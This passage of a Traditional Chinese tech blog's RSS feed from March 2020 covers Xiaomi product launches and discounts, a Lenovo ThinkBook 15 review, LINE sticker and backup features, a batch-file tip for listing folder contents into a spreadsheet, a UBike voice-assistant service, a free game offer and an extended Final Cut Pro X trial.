    + + 2020 小米米粉節 11 款新品與優惠特價商品資訊整理 + https://steachs.com/archives/51833 + https://steachs.com/archives/51833#respond + + + Tue, 31 Mar 2020 15:46:12 +0000 + + + + https://steachs.com/?p=51833 + + 一年一度的小米米粉節即將到來,小米除了在今天公佈了米粉節活動即將於 4 月 1 日起跑之外,還推出了 11 款 […]

    +

    這篇文章 2020 小米米粉節 11 款新品與優惠特價商品資訊整理 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    一年一度的小米米粉節即將到來,小米除了在今天公佈了米粉節活動即將於 4 月 1 日起跑之外,還推出了 11 款超夯新品的上市消息,包括了米家掃拖機器人」、超輕巧好寫的「小米液晶手寫板」、保護小孩牙齒的「米兔兒童聲波電動牙刷」、好評再升級的「米家直流變頻電風扇 1X」、「米家電動刮鬍刀 S500」及「小米藍牙耳機 Air 2」、工具人必備的「米家 wiha 8合1 棘輪螺絲起子」、智慧家庭重要成員「米家 LED 智慧燈泡 Lite 彩光版」等,兼顧居家與商務需求,從爸媽到小孩都能享受有「購」開心的米粉節!

    +

    +

    米粉節優惠開跑 11 款新品齊發

    +

    米粉節 11 款新品資訊

    +

    米家掃拖機器人:採用新一代 LDS 雷射導航、搭載四核心 Cortex - A7 處理器與雙核 mali400 圖形處理器,配合 SLAM 演算法,構建地圖更快速,升級支援三種掃拖模式,提供「掃拖」、「單掃」及「單拖」讓用戶自行選擇。

    +
      +
    • 售價:$8,995元
    • +
    • 開賣日期: 4 月 7 日小米商城 mi.com、小米實體門市、PChome24h 購物小米旗艦館、全國電子與燦坤 3C 正式開賣;米家掃拖機器人周邊配件將於今年第二季上市。
    • +
    +

    +

    米兔兒童聲波電動牙刷:搭配米家專屬APP,可開啟動畫教學潔齒模式,提供清潔模式、輕柔模式、呵護模式三種模式,可依不同年齡需求選擇。

    +
      +
    • 售價:$995 元
    • +
    • 開賣日期: 4 月 7 日小米商城 mi.com 與小米實體門市限量預購;4 月下旬起,在小米商城 mi.com、小米實體門市、PChome24h 購物小米旗艦館、全國電子與燦坤 3C 全面開賣。
    • +
    +

    +

    米家電動刮鬍刀 S500 :3 刀頭 360 度浮動貼面設計,可靈活應對面部輪廓與鬍鬚方向; 提供兩種檔位,標準檔適合鬍鬚密度一般的用戶,加速檔則可滿足鬍鬚濃密用戶的淨鬚需求;新增 LED 數位顯示螢幕,即時顯示剩餘電量、充電提醒、旅行鎖及鬍渣清理提醒燈號等四大功能;IPX7 級全身防水;可續航 60 分鐘,1 次充電,可用 2 個月。

    +
      +
    • 售價:$995 元
    • +
    • 開賣日期: 4 月 7 日在小米商城 mi.com、小米實體門市、PChome24h 購物小米旗艦館、全國電子與燦坤 3C 全面開賣。
    • +
    • +
    +

    +

    小米液晶手寫板:7mm 超薄機身+ 7g 超輕磁吸手寫筆,隨時記錄靈感瞬間。

    +
      +
    • 售價:$495 元
    • +
    • 開賣日期: 4 月 9 日小米商城 mi.com 與小米實體門市限量預購;4 月下旬起,在小米商城 mi.com、小米實體門市、PChome24h 購物小米旗艦館、全國電子與燦坤 3C 全面開賣。
    • +
    +

    +

     

    +

    小米無線雙模滑鼠 靜音版: 打造寂靜高專注的工作環境

    +
      +
    • 售價:$365 元
    • +
    • 開賣日期:星光黑、石英白雙色,4 月 7 日起在小米商城 mi.com、小米實體門市與燦坤 3C 正式開賣。
    • +
    +

     

    +

    +

    米家 wiha 8合1 棘輪螺絲起子:兼顧實用與精品設計的生活工具

    +
      +
    • 售價:$545 元
    • +
    • 開賣日期:4 月 7 日起在小米商城 mi.com、小米實體門市、PChome24h 購物小米旗艦館、全國電子與燦坤 3C 正式開賣。
    • +
    +

    +

    米家直流變頻電風扇 1X:模擬自然風,柔和徐風吹進客廳

    +
      +
    • 售價:$1,795元
    • +
    • 開賣日期:4 月 9 日在小米商城 mi.com、小米實體門市、PChome24h 購物小米旗艦館、全國電子與燦坤 3C 全面開賣。
    • +
    +

    +

    米家 LED 智慧燈泡 Lite 彩光版: 為「家」添上新色彩

    +
      +
    • 售價:$395元
    • +
    • 開賣日期:4 月 9 日起在小米商城 mi.com、小米實體門市、PChome24h 購物小米旗艦館、全國電子與燦坤 3C 正式開賣。
    • +
    +

    +

    小米藍牙耳機 Air 2:智慧真無線 輕鬆舒適戴

    +
      +
    • 售價:$1,995 元
    • +
    • 開賣日期:4 月 7 日起在小米商城 mi.com、小米實體門市、PChome24h 購物小米旗艦館與燦坤 3C 正式開賣。
    • +
    +

    +

    20000 小米行動電源 3 快充版:搭載 USB-C 18W 雙向快充,兩個 USB-C 接口和 Micro-USB 接口,支援單口 18W MAX 快速輸入,同時可為三台電子裝置供電,內置的智慧晶片可辨識裝置所需充電功率。

    +
      +
    • 售價:$665 元
    • +
    • 開賣日期:4 月 9 日起在小米商城 mi.com、小米實體門市、PChome24h 購物小米旗艦館、全國電子與燦坤 3C 正式開賣。
    • +
    +

    10000 小米行動電源 3 無線版:10W MAX 無線快充及一個單口輸出 18W MAX 的有線接口,支援 Qi 無線充電手機裝置與相機、遊戲機、平板電腦等有線充電裝置同時充電使用。

    +
      +
    • 售價:$595 元
    • +
    • 開賣日期:4 月 9 日起起在小米商城 mi.com、小米實體門市、PChome24h 購物小米旗艦館、全國電子與燦坤 3C 正式開賣。
    • +
    +

     

    +

    +

     

    +

    米粉節時間與優惠產品

    +

    日期:4 月 7 日 10 時起至 4 月 12 日 23 時 59 分止

    +

    活動通路:小米商城 mi.com、小米實體門市、PChome24h 購物小米旗艦店、全國電子、燦坤 3C

    +

    優惠內容

    +
      +
    • Redmi Note 7 (4GB+128GB)$4,999 元(直降 $2,000 )
    • +
    • Redmi Note 8T(3GB+32GB)$4,099 元(直降 $500)
    • +
    • 小米空氣淨化器 Pro $6,695 元(直降 $200)
    • +
    • 米家掃地機器人 $6,895 元(直降 $1,000)
    • +
    • 米家掃拖機器人 1C $6,095 元(直降 $500)
    • +
    • 米家 IH 電子鍋 $2,295元 (直降 $200)
    • +
    • 小米 AI 音箱 $995 元(直降 $500)
    • +
    • 米家檯燈 Pro 白色 $1,395 元(直降 $400)
    • +
    • 小米藍牙耳機 Air $1,495 元(直降 $500)
    • +
    • 小米藍牙項圈耳機 $995 元(直降 $400)
    • +
    • 小米手環 4 $815 元(直降 $50)再送小米手環4專屬充電線
    • +
    • 米家石英錶 $1,695 元(直降 $100)買一送一
    • +
    +

    +

    這篇文章 2020 小米米粉節 11 款新品與優惠特價商品資訊整理 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51833/feed + 0 + + + 51833
    + + 為年輕人打造的 Lenovo ThinkBook 15 筆記型電腦,各種貼心設計集於一身 + https://steachs.com/archives/51517 + https://steachs.com/archives/51517#respond + + + Mon, 30 Mar 2020 16:00:01 +0000 + + + + + + + + https://steachs.com/?p=51517 + + 依據大家問阿湯購買筆電的經驗,普遍預算都會落在 2~3 萬之間,其實在這個預算之間能夠買的筆電並不少,但真的要 […]

    +

    這篇文章 為年輕人打造的 Lenovo ThinkBook 15 筆記型電腦,各種貼心設計集於一身 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    依據大家問阿湯購買筆電的經驗,普遍預算都會落在 2~3 萬之間,其實在這個預算之間能夠買的筆電並不少,但真的要各方面都符合自己需求就會陷入一種難以抉擇的囧境,今天來分享 Lenovo 專為年輕人所打造的 ThinkBook 15 筆記型電腦,價格最低從 NTD 20,900 起,可以依據需求自訂符合需求的硬體規格,讓你可以用有限的預算打造出屬於你專用的商務筆電,而且 ThinkBook 15 還有各種貼心集於一身,不論你是大學新鮮人或初出社會的菜鳥,這都是非常適合做為你首購筆電的好選擇之一。
    +

    +

    +

    Lenovo ThinkBook 15 筆記型電腦開箱介紹:

    +

    ThinkBook 15 預設主要有三種規格,最低從 NTD 20,900 元起到 NTD 30,900,後面二個主要差在處理器,不過只差 3 千塊真的蠻可以考慮直上 i7 的版本,不過不論哪一款都是採用第十代 Intel 處理器,效能都是有相當基本的水平。

    +

    但這些規格如果你總覺得哪裡還差一點,你也可以透過官方網站去自訂規格,選擇你想要的硬體規格,能夠客製的還蠻彈性的,不會只有處理器、記憶體跟硬碟這些大類別,自選規格的彈性可以說是近乎是在自己組裝電腦的概念了。

    +

    +

    ThinkBook 15 採用鋁合金材質打造機身(A 蓋),雖然是 15 吋的機種,但整機的重量僅 1.5kg,阿湯認為仍然在「適合」攜帶外出的重量範圍內。

    +

    +

    在 A 蓋上的一角有著 Lenovo 的 Logo,打開後也和裡面的 Logo 相互對稱。

    +

    +

    底部是採用塑料材質,算是剛好在金屬與塑料材質之間取了一個平衡點,來大幅降低了機身的重量,喇叭就位於底部的左右二側。

    +

    +

    基於好奇心發作,也打開了 ThinkBook 15 底部來看了一下,拆卸不難,一眼看過去的話,未來如果需要升級或更換 SSD 及硬碟完全沒有難度,記憶體的部份我一眼這樣看過去,SSD(我手指指的地方)跟左邊的 HD 都很容易可以自行更換或升級,記憶體的部份有提供一個插槽可以自行升級,主機板上則會有預載 4GB 或 8GB 已經焊接上去的,所以記憶體我個人是建議一開始就可以攻頂。

    +

    +

    側邊的 I/O 有電源埠、USB 3.1 Type-A、記憶卡槽(支援 SD/SDHC/SDXC/MMC),還有一個隱藏式的 USB 2.0 Type-A 槽。

    +

    +

    這個隱藏式的 USB 槽只要推一下就可以打開,是個很貼心的設計,比如可以將常用的 USB(迷你型的)插入後關起來,就不會凸一個在筆電外緣,工作到一半要放進包包也不用先拔隨身碟,不用擔心會去勾到包包的問題,或是像使用 2.4GHz 連線的滑鼠接收器,通常也是很小一個,就可以直接插到這個隱藏 USB 槽裡,讓你的筆電側邊更美觀,也很便利。

    +

    +

    另一側為 3.5mm 複合式耳麥孔、USB 3.1 Type-C(全功能連接埠:USB、DisplayPort 及充電孔)、USB 3.1 Type-C、USB 3.1 Type-A(Always-on 功能)、HDMI 及乙太網路連接埠。

    +

    I/O 的部份可以說是相當的完整,且有蓋子的乙太網路連接埠跟隱藏式 USB 設計我都很喜歡。

    +

    +

    另外在使用耳機的情況下支援杜比全景環繞音效,還可以透過內建的音效調整選擇預設的場景或透過等化器個人化自己最喜歡的聲音效果。

    +

    +

    在筆電配重的部份做的非常棒,現在很多筆電為了輕薄都捨棄了配重的部份,也就是無法單手開蓋,一定要一隻手扶著下半部才能開蓋,但 ThinkBook 15 單手就可以開蓋,而且下方是完全不會跟著翹起來的。

    +

    +

    螢幕的設計是可以完全展開到 180° 整個攤平,這樣的設計用在小組討論或與客戶展示內容都非常的方便。

    +

    +

    像我的團隊(我跟顆老大,Only Two),就可以用這樣來討論要挑選湯包的哪些照片,就算是坐面對面也沒問題。

    +

    +

    螢幕依據選擇分別有 TN 及 IPS 二種面板,阿湯所測試的這一款是 15.6吋 IPS 面板(1920x1080),但由於窄邊框的設計,讓這 15.6 吋的機身大概也就是傳統 14 吋左右筆電的整體大小。

    +

    +

    阿湯某天外出時,原本要帶大的筆電包,但嘗試了一下,沒想到我之前為了 13.3 吋購買的筆電後背包,也能塞進這 15.6 吋的 ThinkBook 15,攜帶完全無負擔。

    +

    +

    有了湯包後,偶而我們也是會偷得半日閒的去網美店工作一下,這家是在桃園新開的禾林浮島,非常的漂亮(提外話...)。

    +

    +

    在 ThinkBook 15 上真的有非常多巧思設計,除了前面看到的隱藏 USB 埠之外,像是上方搭載的視訊鏡頭,很多人現在怕駭客或自己不小心誤開視訊,都會在鏡頭處黏上紙膠帶,但在 ThinkBook 15 上就沒這必要,自帶 ThinkShutter 鏡頭蓋讓你可以直接把鏡頭蓋起來,保有絕對隱私權!

    +

    +

    是採用全尺寸鍵盤並帶有數字鍵區,這就是 15 吋以上的筆電好處,有沒有 NumPad 區域真的差很多,特別是常在做表格或是計算等操作,數字鍵盤都是增進效率的最佳途徑。

    +

    註:如需背光鍵盤可於自訂規格中自行加價選配

    +

    +

    鍵盤的打字回饋感也相當的舒適,不舒適的那種就是打久了會覺得手指前端痛痛的。

    +

    +

    TouchPad 採用一體式設計,底部就是左右鍵,其他都是藉由手勢操作來達成更多需求,觸控板現在已經愈來愈好操作,有時甚至可以不需要滑鼠也能得心應手。

    +

    +

    右上角的電源鍵同時也是指紋辨識器,一進入系統只要手指一放就可以放上登入。

    +

    +

    如果你選擇的是有指紋辨識器的規格,記得可以在 Widnows 10 的設定中,找到 Windows Hello 來設定指紋。

    +

    +

    平常在登入畫面時就像這樣,只要用手指就可以輕鬆登入,而且比起密碼也更具安全性。

    +

    +

    阿湯所測試的這款 TinkBook 15 的規格是採用第十代 Intel Core i7-10510U Processor ( 1.80GHz 8MB ),再加上獨立顯卡 AMD Radeon R620 2GB GDDR5 64B 2GB GDDR5 的加持下,這樣的搭配下,我認為除非是有比較重度的媒體影音剪輯需求,否則平常的文書處理,小量修圖或是輕量的影片剪輯,甚至是打個 LOL 都是沒有問題的。

    +

    +

    顯示卡的部份,也能透過 AMD 的設定工具,進行更進階的設定,可以依據你的使用來調整裡面的參數。

    +

    +

    硬體的效能口說無憑,我也做了一些基本的效能測試,首先是 3DMark,透過 Time Spy 測試下獲得 563 分。

    +

    +

    PCMark 10 綜合分數獲得 3911。

    +

    +

    SSD 的部份,讀寫都有達到 2,000MB/s 以上,4K 的讀寫表現水平也相當的不錯。

    +

    +

    所以上述這樣的硬體規格跟效能到底可以做些什麼?你可以...

    +

    文書處理只是小菜一碟。

    +

    +

    邊看著網頁邊撰寫程式調整,同樣是 Piece of cake。

    +

    +

    透過 Adobe Lightroom 一次匯入大量照片進行修圖,不論是大量同步修改參數或是轉出照片,都沒有延遲或停住的狀況。

    +

    +

    透過 Adobe Photoshop 進行細部圖片調整(修復、液化等)同樣不會卡頓。

    +

    +

    用來剪輯輕影片也同樣無負擔,但如果你真的非常有剪輯的需求,會建議你入手更高階的 Lenovo 筆電,不然可能很快就會不敷使用。

    +

    +

    另外筆電預載有 Lenovo 自家的軟體「VANTAGE」,可以在這裡面查看你的筆電各種狀態,包括像是保固的詳細資料,或是各種設定的快捷按鍵。

    +

    +

    在裝置中也能看到目前的電池狀況,比較特別的是還有「智慧型電源設定」,這個功能主要是會依據使用狀況動態的調整散熱設定,自動將效能與散熱調整在最佳狀況。

    +

    +

    相關的硬體更新也都可以在這裡面查看,也能設定為自動更新,不用你自己勞煩這些小事。

    +

    +

    VANTAGE 裡還有一個非常實的功能叫做智慧助理,其中有一項功能叫做「Active Protection System」,主要是會偵測你的筆電是否受到撞擊或強烈的物理震動,透過這個系統會持續性的監視電腦的移動,當偵測到掉落時會立即暫停硬碟運作,來避免硬碟受到損傷,讓你的資料更加的安全。

    +

    +

    使用心得:

    +

    如同我的開頭標題說的,ThinkBook 15 真的是集各種貼心於一身,像是貼心的客製化硬體規格、貼心的 USB 隱藏設計、貼心的鏡頭蓋設計等,隨處可以看到 Lenovo 在設計上的用心,讓你買的不只是一台單純看規格的筆電,而是真正讓你可以用的上手的筆電,如果以 2~3 萬之間的預算想要購入筆電的話,阿湯個人私心建議,可以至少這樣配置:

    +
      +
    • Processor : Intel Core i3-1005G1 處理器
    • +
    • DIMM Memory : 16GB DDR4 2666MHz SoDIMM
    • +
    • Second Storage Selection : 256GB 固態硬碟、M.2 2242
    • +
    • Display : 15.6 吋 FHD (1920x1080)、IPS、250nit、防眩光、非觸控
    • +
    • Graphics : AMD Radeon 630 2GB GDDR5 64
    • +
    • Fingerprint Reader : 指紋辨識器
    • +
    • Wireless LAN : Wi-Fi 6 2x2 AX,藍牙版本 4.1 或以上
    • +
    • Battery : 3 Cell 鋰聚合物內部電池,57Wh
    • +
    • Power Adapter : 65W AC 整流器薄型(3 插腳)- 台灣 (USB Type C)
    • +
    +

    這樣配下來是 NTD 26,830,當然如果你預算可以爆出 3 萬多一些的話,處理器可以考慮 i5 等級,對於首購筆電的人來說,可以這樣自訂各種硬體規格,可以說是買筆電的最佳選擇了吧。

    +

    等等,我剛差一點選一選就結帳了...................好啦,不廢話了,趕快去選擇你需要的規格吧,然後信用卡拿出來不用客氣,下個月再面對帳單就好。

    +

    相關資訊:

    +
      +
    • Lenovo ThinkBook 15 官方介紹:請點我前往
    • +
    • 建議售價:NTD 20,900 起
    • +
    • 購買可以客製化想要的規格,相當的彈性,包括處理器、硬碟、記憶體、顯示卡、螢幕面板等。
    • +
    +

    +

    這篇文章 為年輕人打造的 Lenovo ThinkBook 15 筆記型電腦,各種貼心設計集於一身 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51517/feed + 0 + + + 51517
    + + LINE 推出全新「訊息貼圖」,每張貼圖最多可傳 100 字心意! + https://steachs.com/archives/51815 + https://steachs.com/archives/51815#respond + + + Mon, 30 Mar 2020 15:31:39 +0000 + + + + https://steachs.com/?p=51815 + + 愛用 LINE 的朋友絕對少不了用貼圖傳心意,LINE 的貼圖豐富到總能在各種時機巧妙的傳達情緒, LINE […]

    +

    這篇文章 LINE 推出全新「訊息貼圖」,每張貼圖最多可傳 100 字心意! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    愛用 LINE 的朋友絕對少不了用貼圖傳心意,LINE 的貼圖豐富到總能在各種時機巧妙的傳達情緒, LINE 貼圖在今天繼「姓名貼圖」、「隨你填貼圖」後,攜手國際知名角色 Hello Kitty 、史努比、哆啦A夢、BT21、熊大&兔兔 BROWN & FRIENDS、台灣創作者原創角色「貓貓蟲咖波」和「不死兔的兔兔」 推出 7 組訊息貼圖,最大的亮點就是可以單張編輯儲存、每張貼圖最多可輸入 100 個字,還能重複使用,讓用戶揮灑創意,想說什麼就說什麼,無論是麻吉嗆聲、情侶拌嘴、上班抬槓甚至是賣家公告等,話匣子一開畫面文字通通到位!

    +

    +

    LINE 訊息貼圖大傳心意怎麼玩?

    +

    1. 進入訊息貼圖購買頁

    +

    2. 購買前可編輯各張貼圖文字來預覽文字效果

    +

    3. 購買訊息貼圖

    +

    4. 下載貼圖,到聊天室更改文字,開始玩!(雖然可以支援到 100 個字,但是如果字數太多,字會偏小反而不好閱讀,因此建議訊息長度設在 20 字左右唷)

    +

    +

     

    +

     

    +

    這次訊息貼圖突破了過去只能填入單詞的限制,每張貼圖都像專屬於用戶的小小便利貼,用可愛逗趣的圖,配上關心問候,隨時隨地都能傳給身邊的人!訊息貼圖除了字數多以外,最方便之處,在於每張貼圖都可以預設不同的文字,傳送前還能直接於聊天室內修改並儲存,相當輕鬆又方便!

    +

    如果想要更改文字的話,直接在聊天視窗內選擇想傳送的特定一張貼圖,再按左邊的鉛筆 icon 直接編輯貼圖上的文字,改好後按下右上角的儲存鍵,直接送出完成!

    +

     

    +

    +

    訊息貼圖裝置限制

    +

    1.  3/30 手機版率先上市。目前僅限 iOS 與 Android 智慧型手機用戶使用,使用桌機版的用戶將看到貼圖輸入文字區塊呈現「****」號字樣,並且無法編輯文字;桌機版將在近期上線。

    +

    2.  用戶在智慧型手機進入貼圖小舖或至網頁版 LINE STORE,就能購買。

    +

    3. 須將 LINE app 更新至 v10.3 以上,才能看見新登場的「訊息貼圖」。

    +

    4. 贈送訊息貼圖給好友時,如果對方沒有更新到 LINE 最新版本,將無法成功贈送。

    +

    5. 文字僅支援繁體中文及英文,特殊字元可能出現無法顯示的狀況。最佳的訊息貼圖呈現方式,會依據每張貼圖設計的不同而異。

    +

     

    +

    +

    這篇文章 LINE 推出全新「訊息貼圖」,每張貼圖最多可傳 100 字心意! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51815/feed + 0 + + + 51815
    + + 將資料夾底下的全部檔案列表出來,並儲存成 Excel 檔案 + https://steachs.com/archives/51787 + https://steachs.com/archives/51787#comments + + + Sun, 29 Mar 2020 16:00:28 +0000 + + + + + https://steachs.com/?p=51787 + + 今天有人問我說,我能不能將某個資料夾底下的全部檔案,包括子資料夾裡的,全部都列表出來,然後儲存在 Excel […]

    +

    這篇文章 將資料夾底下的全部檔案列表出來,並儲存成 Excel 檔案 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    今天有人問我說,我能不能將某個資料夾底下的全部檔案,包括子資料夾裡的,全部都列表出來,然後儲存在 Excel 檔案裡,答案當然是可以的,而且非常簡單,只要一行指令就可以搞定,而且往下阿湯來教大家製作成可以執行的 bat 檔案,未來不論哪個資料夾想要列表檔案,都只要一秒就可以搞定,馬上一清二楚的列在 Excel 檔案,方便整理。

    +

    +

    將檔案列表並儲存為 Excel 檔案

    +

    其實單次使用只要用 CMD 加上一行指令就可以,不過為了長期方便使用,所以我們可以把他製作成 bat 命令檔,往後只要把這個做的好的檔案放到你要列表檔案的資料夾底下執行就可以了,往下來教大家怎麼製作。

    +

    首先在任意地方右鍵新增一個文字檔案,然後在裡面輸入內容如下:

    +

    dir /b /s *.* > file_list.xls

    +

    file_list.xls 這個檔名你可以自己自由修改。

    +

    +

    接下來將副檔名 txt 透過檢視 > 打勾副檔名,就可以顯示出來,將他修改為 .bat 結尾。

    +

    +

    比如我將 bat 檔案放在桌面,雙擊後,一秒就會產生出我們自己命名的那個 excel 檔案,裡面就包括了所有檔案的路徑列表囉,非常的簡單吧,之後你想要產生哪個資料夾底下的檔案列表,只要將 bat 檔案放進去雙擊就可以了,可以一直重複使用,非常實用的一個小執行檔。

    +

    另外如果你想要變化一下,比如只想要列表出副檔名為 docx 的檔案就好,那麼就可以修改原指令中的 *.*,把他改為 *.docx 就可以了,就像這樣:

    +

    dir /b /s *.docx > file_list.xls

    +

    以此類推,快去試試吧。

    +

    +

    這篇文章 將資料夾底下的全部檔案列表出來,並儲存成 Excel 檔案 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51787/feed + 2 + + + 51787
    + + UBike 小精靈讓 Google 語音助理再進化,查詢 YouBike 用說的就好 + https://steachs.com/archives/51793 + https://steachs.com/archives/51793#respond + + + Sun, 29 Mar 2020 15:09:21 +0000 + + + + + https://steachs.com/?p=51793 + + 平常有在使用 YouBike 的朋友們看過來!出門在外,如果臨時想要查詢附近的 YouBike 站,除了之前介 […]

    +

    這篇文章 UBike 小精靈讓 Google 語音助理再進化,查詢 YouBike 用說的就好 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    平常有在使用 YouBike 的朋友們看過來!出門在外,如果臨時想要查詢附近的 YouBike 站,除了之前介紹過的在 LINE 中加入「YouBike Today - 小幫手」這個 LINE 機器人來幫忙以外,現在還能直接請 Google 語音助理來協助囉!這是 YouBike Today 小幫手團隊針對使用 Android 手機的用戶,結合 Google 語音助理開發最新服務,當然如果是 iOS 的朋友,也能先在 iPhone 中下載 Google 語音助理後一起使用,讓現在防疫期間,不敢摸手機的時候,只需要動口不動手,就能即刻查詢 YouBike 站點,YouBike 動態一目瞭然!

    +

    +

    Google 語音助理進化! 查詢 YouBike 用說的也行

    +

    要怎麼請 Google 語音助理幫忙?

    +

    Step 1. 先加入 UBike 小精靈:點我加入

    +

    Step 2. 按下「我要試用」就能開始體驗

    +

    Step 3. 呼叫 Google 助理後對他說「我要跟 UBike 小精靈說話」或是 「詢問 UBike 小精靈」指令。UBike 小精靈會請你說出想要查詢的微笑單車站名或是問他附近的有沒有微笑單車

    +

    Step 4. 接著會請你授權給他取得位置的權限,同意後便會顯示附近的 YouBike 數量狀況

    +

     

    +

    +

     

    +

     

    +

     

    +

    如果用戶想要搭配 Google Nest Mini 或是手機上的語音助理來做固定的時間設定,也可以:

    +

    Step 1. 點選「Google 助理」右下角的指南針符號,進入探索
    +Step2. 點選右上角的大頭貼,進入設定
    +Step3. 點選「Google 助理」的分頁,往下找到日常安排
    +Step4. 點選「出門上班」
    +Step5. 點選「新增動作」
    +Step6. 輸入「叫UBike小精靈查XX」(XX為您上班通勤使用的YouBike站點)
    +Step7. 點選「新增」
    +Step8. 說出「我要上班了」(可自訂指令),就會順便查詢指定的站點資訊

    +

    設定完成後,之後呼叫語音助理,直接跟他說「我要上班」了就可以自動查詢。

    +

     

    + + + + + +

     

    +

     

    +

    防疫期間真的是手越少接觸東西越好,不想動手碰螢幕的朋友,現在就可以開始用「UBike 小精靈」,只要出一張嘴,就能用語音找 YouBike 站點位置、單車數量與空位,甚至還能連結導航最佳路徑。如果剛巧自己手機上沒有預先安裝的 Google 語音助理,也可以先去 Google Play 或是 App Store 下載 Google 助理後開始使用唷!

    +

    +

     

    +

     

    +

    UBike 小精靈:點我加入

    +

    這篇文章 UBike 小精靈讓 Google 語音助理再進化,查詢 YouBike 用說的就好 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51793/feed + 0 + + + 51793
    + + 超好玩的空間解謎遊戲「紀念碑谷 2」Android/iOS 雙平台限時免費下載 + https://steachs.com/archives/51774 + https://steachs.com/archives/51774#respond + + + Sat, 28 Mar 2020 16:00:18 +0000 + + + + + + + + + https://steachs.com/?p=51774 + + 手機遊戲阿湯最喜歡玩的類型就是「解謎類型」的,因為耐玩,而且隨時可以中斷,對我來說時間比較彈性,而我曾經玩過的 […]

    +

    這篇文章 超好玩的空間解謎遊戲「紀念碑谷 2」Android/iOS 雙平台限時免費下載 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    手機遊戲阿湯最喜歡玩的類型就是「解謎類型」的,因為耐玩,而且隨時可以中斷,對我來說時間比較彈性,而我曾經玩過的紀念碑谷,很久一段時間沒注意,原來有出第二代了,而且現在 Android/iOS 雙平台正限時免費中,為期一週,你看到我寫文的時候還有五天,我想時間是綽綽有餘的,如果你還沒玩過紀念碑谷一定要試看看,一玩就會上癮,非常考驗空間感,到後面的關卡真的會超燒腦。

    +

    +

    +

    紀念碑谷 2 限免中

    +

    原價是 NTD 150,最近剛好限免很可以下載,這款遊戲我覺得大小朋友都很適合。

    +

    +

    遊戲除了很燒腦之外,畫面也非常的精美。

    +

    +

    像這是第一關所以很簡單,只有一個要轉的,所以很好過,原則上就是透過轉動路徑,來讓他可以一路順利走到出口,但這很考驗立體空間感,愈後面的關卡會讓你想到翻天,快去下載來闖個關。

    +

    +

    相關資訊:

    + +

    這篇文章 超好玩的空間解謎遊戲「紀念碑谷 2」Android/iOS 雙平台限時免費下載 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51774/feed + 0 + + + 51774
    + + LINE 現在可以「自動備份」了,不用再擔心無預警的手機故障 + https://steachs.com/archives/51768 + https://steachs.com/archives/51768#respond + + + Fri, 27 Mar 2020 16:00:29 +0000 + + + + + + + https://steachs.com/?p=51768 + + LINE 的聊天記錄一直是大家很困擾的地方,除了跨系統不方便轉移之外,即便是同系統手機想要轉移也是會遇到問題, […]

    +

    這篇文章 LINE 現在可以「自動備份」了,不用再擔心無預警的手機故障 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    LINE 的聊天記錄一直是大家很困擾的地方,除了跨系統不方便轉移之外,即便是同系統手機想要轉移也是會遇到問題,像是手機無預警的故障,但你的聊天記錄根本還沒去按備份,所以有備份功能還是會 GG,雖然還沒開放跨系統轉移,不過 LINE 終於推出「自動備份」功能了,最短時間是每天可以備份一次,至少不會手機一掛點就全滅,目前是 iOS 先開放,Android 的朋友別傷心,再等一下吧。

    +

    +

    如何開啟 LINE 自動備份功能:

    +

    記得目前是 iPhone 先開放,Android 還沒有。

    +

    要自己手動去打開自動備份的功能,首先在首頁左上角進入設定 > 聊天。

    +

    +

    然後進入「備份聊天記錄」,這時會看到多了一個「自動備份聊天頻率」,點進去。

    +

    +

    目前最低的自動備份頻率最低可以選擇的是「每天 1 次」,最長是「每個月 1 次」。

    +

    另外設定後,備份的時機會是在手機使用 Wi-Fi 且為「充電」狀態,這點很重要,因為很多租屋族並沒有使用 Wi-Fi,可能就要注意了,不是你開了就會備份,或許等官方之後會不會再多一個選項是可以選擇行動網路也可以備份。

    +

    +

    這篇文章 LINE 現在可以「自動備份」了,不用再擔心無預警的手機故障 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    + + https://steachs.com/archives/51768/feed + 0 + + + 51768
    + + Apple 影片剪接軟體 Final Cut Pro X 免費延長體驗,30 天變成 90 天! + https://steachs.com/archives/51779 + https://steachs.com/archives/51779#respond + + + Fri, 27 Mar 2020 15:00:26 +0000 + + + + + https://steachs.com/?p=51779 + + 為了因應全球新冠肺炎疫情的隔離防疫策略,Apple 宣布將旗下的專業剪接軟體 Final Cut Pro X […]

    +

    這篇文章 Apple 影片剪接軟體 Final Cut Pro X 免費延長體驗,30 天變成 90 天! 最早出現於 就是教不落 - 給你最豐富的 3C 資訊、教學網站

    +]]>
    +

    為了因應全球新冠肺炎疫情的隔離防疫策略,Apple 宣布將旗下的專業剪接軟體 Final Cut Pro X 從本來免費試用 30 天延長到 90 天,如果現在正在 30 天試用期的朋友也能再次登記後獲得 90 天的額外免費體驗期。

    +

    +

    Final Cut Pro X 免費體驗期限延長 30 天變成 90 天

    +

    Final Cut Pro X 是專業影片剪輯軟體,透過強大的媒體組織管理功能可以讓用戶快速瀏覽、標記和篩選檔案。Magnetic Timeline 提供可自訂的布局功能和創新的剪輯工具。Final Cut Pro 更針對 macOS 和最新的 Mac 硬體最佳化,讓用戶在 MacBook 和 Mac 系統上都能享受優異的效能表現。

    +

    +

    Apple 也表示如果用戶想要使用 Final Cut Pro X ,必須搭載 macOS 10.14.6 或後續版本的 Mac、4GB RAM (4K 影片剪輯、3D 字幕與 360° 影片剪輯建議配備 8GB)、支援 Metal 的顯示卡、建議配備 1GB VRAM 以使用 4K 影片剪輯、3D 字幕及 360° 影片剪輯。

